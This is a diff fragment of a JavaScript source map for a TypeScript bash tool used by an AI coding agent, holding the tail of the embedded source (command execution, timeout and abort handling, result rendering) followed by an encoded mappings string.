};\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
1
+ {"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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